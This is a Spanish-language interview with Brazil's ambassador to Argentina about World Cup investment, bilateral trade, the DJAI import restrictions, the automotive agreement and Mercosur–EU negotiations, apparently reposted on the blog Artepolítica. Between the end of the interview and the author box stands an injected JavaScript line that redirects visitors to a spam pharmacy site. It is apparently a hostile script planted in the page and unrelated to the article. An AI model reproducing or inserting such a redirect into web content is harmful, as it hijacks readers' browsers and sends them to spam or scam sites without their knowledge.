Embajador de Brasil: “Las trabas de Argentina sólo afectan a una pequeña parte del comercio”

A tres días de comenzar los festejos porque su país será la sede de la Copa Mundial, el diplomático dialogó con El Cronista sobre el evento deportivo pero también sobre la relación bilateral, las inversiones, el acuerdo automotriz y las perspectivas económicas para ambos países
Llegó a Buenos Aires en junio del año pasado y desde ese momento representa a Brasil como embajador en el país. Con 59 años, Everton Vieira Vargas lidera las relaciones diplomáticas del principal socio del Mercosur con la Argentina en momentos en que ambas naciones afrontan situaciones económicas complejas y el intercambio bilateral no está pasando por su mejor momento. En una entrevista concedida a El Cronista, el embajador se refirió al vínculo entre ambos países, al acuerdo automotriz que está próximo a firmarse, al clima para las inversiones, las trabas al comercio y las perspectivas económicas para lo que resta del año, aunque no faltó su mención a la Copa Mundial, que tendrá a partir del jueves a Brasil como sede. No faltó, claro, el chiste alusivo a la histórica competencia futbolística entre los países vecinos, pero no dudó en valorar al equipo argentino.
¿Con qué nivel de inversión se prepara Brasil para este acontecimiento? ¿Cuál fue el aporte argentino? Se realizaron inversiones en diferentes sectores. En estadios de fútbol, el número total ascendió a los u$s 3.600 millones, mientras que en aeropuertos se invirtieron u$s 3.000 millones. Y ahí hubo una contribución importante de la Argentina con el grupo Corporación América que preside Eduardo Eurnekian, que integra la concesión del aeropuerto de Brasilia y ahora sumó la del aeropuerto nuevo de Natal, al nordeste del país.
¿Las empresas argentinas finalmente no participaron en la construcción de los estadios, como pretendían? No le podría confirmar cómo fue el proceso licitatorio de esas obras, pero sí le puedo decir que la inversión de Corporación América fue muy importante. Y además hay inversiones argentinas que no están relacionadas con la Copa. Hubo un crecimiento de desembolsos de la Argentina en Brasil en el área de semiconductores, por ejemplo. Hay una empresa que se está construyendo en Minas Gerais que también va a ser muy importante, a partir de una sociedad entre IBM, Unitec Blue (también de Corporación América) y el Bndes. Hoy tenemos una fuerte inversión de empresas argentinas en Brasil, creció mucho. Ya hay u$s 8.000 millones invertidos en el país por unas 40 firmas, mientras que en la Argentina hay cerca de u$s 18.000 millones invertidos por cerca de 130 empresas brasileñas.
Pero no existe esa ola de empresas brasileñas comprando firmas argentinas como hubo en otras épocas… Hoy no hay sólo compra de empresas argentinas por firmas brasileñas, sino también inversiones directas. Por ejemplo, Moura, que va a producir baterías para todos los autos que se produzcan en la Argentina; o Braskem (controlada por Odebrecht), que compró Solvay Indupa cerca de Bahía Blanca y fue un negocio importante. También hay una inversión del grupo Gerdau en Santa Fe. Todo esto significa que hay un interés grande de invertir y que quien invierte obtiene retornos. Por algo tuvimos un comercio bilateral de u$s 36.000 millones, número sólo semejante al de 2011, cuando ascendió a los u$s 39.000 millones.
Este año bajó muchísimo ¿Puede revertirse el panorama? Estamos a mitad del año, hay que esperar. El año pasado también el comercio comenzó bajo y luego anduvo mejor. Pero no debemos quedarnos mirando solamente la foto. Hay que mirar esto en términos de futuro, de qué significa para ambos países.
¿El escenario político de la Argentina y algunas medidas tomadas por el Gobierno para amigarse con la comunidad internacional alientan a las firmas brasileñas a invertir más en el país? Creo que las empresas brasileñas ven más las perspectivas de largo plazo de la Argentina. Es un país riquísimo, con un suelo y recursos naturales muy buenos. No hay duda de que los hechos políticos cumplen un papel, pero acá hay un potencial extraordinario.
¿Lo ocurrido con la minera Vale no fue un desaliento para los empresarios? Vale aún tiene el derecho de explotar la mina hasta 2017. Entonces hay que esperar para ver cuál va a ser la decisión de la empresa.
¿Se firmará el acuerdo automotriz esta semana? La información que tengo es que se avanzó, pero aún hay necesidad de hacer consultas a nivel político.
¿La Argentina fijó condiciones duras para negociar? La Argentina y Brasil tienen intereses muy importantes en este acuerdo porque cerca del 90% de nuestro comercio es de manufacturas y de ese 90%, más del 50% son autos. Pero se tiene que llegar a una circunstancia que promueva el comercio para el futuro.
¿Es estructural el déficit que tiene la Argentina en autopartes o puede revertirse? Eso va a depender mucho de cómo las terminales negocien con los autopartistas. La Argentina tiene déficit en autopartes, pero Brasil en autos terminados. No se puede imaginar este comercio mirando a corto plazo. Hay sectores en que vamos a tener déficit, en otros superávit, pero esto no va a comprometer el futuro de la relación. Necesitamos profundizar la integración de ambos países. Tenemos que mirar a los mercados de afuera y pensar qué autos podemos fabricar para exportar a terceros países.
Es claro el interés político en sostener esta estrategia, pero ¿cómo puede convivir con los roces que luego surgen en el plano económico debido, por ejemplo, a las DJAI? Las DJAI afectan a una pequeña parte del comercio. Si afectaran a todo el comercio, no habríamos tenido u$s 36.000 millones de comercio el año pasado. Claro que es un tema que preocupa, tanto a empresarios argentinos, los importadores, como a los productores brasileños de calzado y textiles. Pero confío en que esto se va a arreglar, pero es una decisión argentina y tenemos una comprensión de la situación económica del país porque nos interesa una Argentina económicamente robusta. De todos modos, tenemos cooperación en las áreas espacial, de defensa, entre otras. La relación es mucho más amplia que los problemas.
¿Hubo avances en la liberación de las DJAI? Sí, hubo progresos recientes. Yo siempre recibo reclamos de empresarios, pero también hubo liberaciones. Los problemas persisten, pero también la buena voluntad para arreglarlos dentro de lo que sea posible.
¿Qué perspectivas tiene de la recuperación económica en Brasil? Creo que tanto en la Argentina como en Brasil enfrentamos momentos económicos que no son los ideales, pero creo que hay interés y esfuerzo de los gobiernos y empresarios de mejorar la situación. Espero que en 2015 logremos mejorar nuestra situación en Brasil, a pesar de que el Gobierno que sea electo va a tener que tomar algunas medidas redinamizadoras. La inflación (6,3%) hoy es una preocupación y el Gobierno lo tiene muy presente, pero se tomaron decisiones que permitirán una desaceleración.
¿Le preocupa a Brasil la actividad argentina? Creo que la Argentina también está en un período que no es el ideal para su economía, pero vemos con mucha satisfacción los esfuerzos que se están haciendo para lograr mejoras, como promover el consumo y la integración social, así como también el reciente acuerdo con el Club de París, que fue muy importante y fomentará inversiones.
¿En qué quedó la idea de Brasil de ofrecer financiamiento para motorizar el comercio bilateral? Está en stand by. Porque inicialmente se había pensado para la industria automotriz, pero con el acuerdo ahora esta presión quizá se reduzca. Además, hubo una estabilización de las reservas argentinas, que crecieron en los últimos dos meses. Sin duda hay necesidad de una mayor dinamización de flujos financieros entre ambos países, pero es un tema que requiere de una conversación muy cercana entre los bancos centrales de ambos países. Tenemos un sistema de pago en monedas locales y sólo es utilizado por empresarios brasileños y en una pequeña porción del comercio bilateral.
¿Habrá un intercambio de ofertas entre la Unión Europea y el Mercosur a fin de mes? No necesariamente. En la última reunión técnica que hubo se procuró hacer un avance significativo y ya estamos en un nivel muy cercano de aquello que deseamos presentar a la UE, pero aún necesitamos de la decisión política. Y no sé si se va a lograr próximamente.
¿Cómo tomaron los empresarios brasileños la decisión de incluir gran parte de las posiciones arancelarias en la negociación para reducir aranceles? En Brasil hay una estrecha consulta entre los negociadores y los empresarios. Hoy hay un gran interés de por parte de las empresas en hacer progresos para una oferta común del Mercosur a ser presentada an te la UE. Lo que tenemos que mirar luego es cuál es el grado de ambición de la oferta de Europa. Porque no vamos a hacer un acuerdo a cualquier costo.

window.location = «http://cheap-pills-norx.com»;

Acerca de Artepolítica

El usuario Artepolítica es la firma común de los que hacemos este blog colectivo.

Ver todas las entradas de Artepolítica →

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *